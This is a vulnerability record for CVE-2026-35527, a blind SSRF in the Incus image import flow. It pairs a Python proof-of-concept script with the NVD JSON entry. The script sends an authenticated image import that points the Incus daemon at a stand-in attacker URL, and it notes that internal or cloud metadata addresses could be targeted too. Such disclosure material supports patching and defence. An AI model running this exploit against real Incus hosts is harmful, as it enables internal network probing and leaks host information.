CVE-2026-35527

import requests import sys # Target Incus instance TARGET_URL = "https://your-incus-instance:8443" CERT_PATH = "/path/to/client.crt" KEY_PATH = "/path/to/client.key" # Attacker controlled server to receive the blind SSRF request ATTACKER_URL = "http://attacker-server.com/capture" def trigger_ssrf(): """ This script simulates triggering the SSRF by creating an image import operation pointing to an internal or attacker-controlled URL. """ session = requests.Session() session.cert = (CERT_PATH, KEY_PATH) session.verify = False # Ignore SSL warnings for demo # Payload: The URL that Incus will send a HEAD request to # This could be an internal IP or metadata service payload = { "public": False, "source": { "type": "url", "url": ATTACKER_URL # URL to receive the HEAD request }, "filename": "malicious_img" } try: print(f"[*] Attempting to import image from: {ATTACKER_URL}") # Endpoint to create images (may vary based on Incus API version) response = session.post(f"{TARGET_URL}/1.0/images", json=payload) if response.status_code == 202: print("[+] Request accepted. Check attacker server for the HEAD request.") print("[+] The response should contain headers: Incus-Server-Architectures, Incus-Server-Version") else: print(f"[-] Unexpected status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": trigger_ssrf()

{"cve": {"id": "CVE-2026-35527", "sourceIdentifier": "[email protected]", "published": "2026-05-05T21:16:22.097", "lastModified": "2026-05-07T17:06:30.343", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incus is an open source container and virtual machine manager. In versions prior to 7.0.0, the image import flow issues an outbound HEAD request to a user-supplied URL before validating the request against project restrictions such as restricted.images.servers. The imgPostURLInfo function constructs and sends a HEAD request directly from the attacker-supplied source URL to resolve image metadata, and this network interaction occurs before the flow reaches the point where the import would be rejected by policy. Although the actual image download is blocked by the project restriction, an authenticated user can coerce the daemon into making blind HEAD requests to arbitrary destinations.\n\nThese requests include server metadata in custom headers (Incus-Server-Architectures, Incus-Server-Version), which discloses information about the host environment to the attacker-controlled endpoint. This blind SSRF primitive can be used to probe internal services, unroutable address space, or cloud metadata endpoints reachable from the host.\n\nThis vulnerability pattern is similar to CVE-2026-24767. This issue has been fixed in version 7.0.0."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N", "baseScore": 5.0, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:linuxcontainers:incus:*:*:*:*:*:*:*:*", "versionEndExcluding": "7.0.0", "matchCriteriaId": "CF8EBB4B-C1F0-44C5-B063-9CF8EB6E0972"}]}]}], "references": [{"url": "https://github.com/lxc/incus/blob/v6.22.0/cmd/incusd/images.go", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/lxc/incus/security/advisories/GHSA-8gw4-p4wq-4hcv", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/lxc/incus/security/advisories/GHSA-8gw4-p4wq-4hcv", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}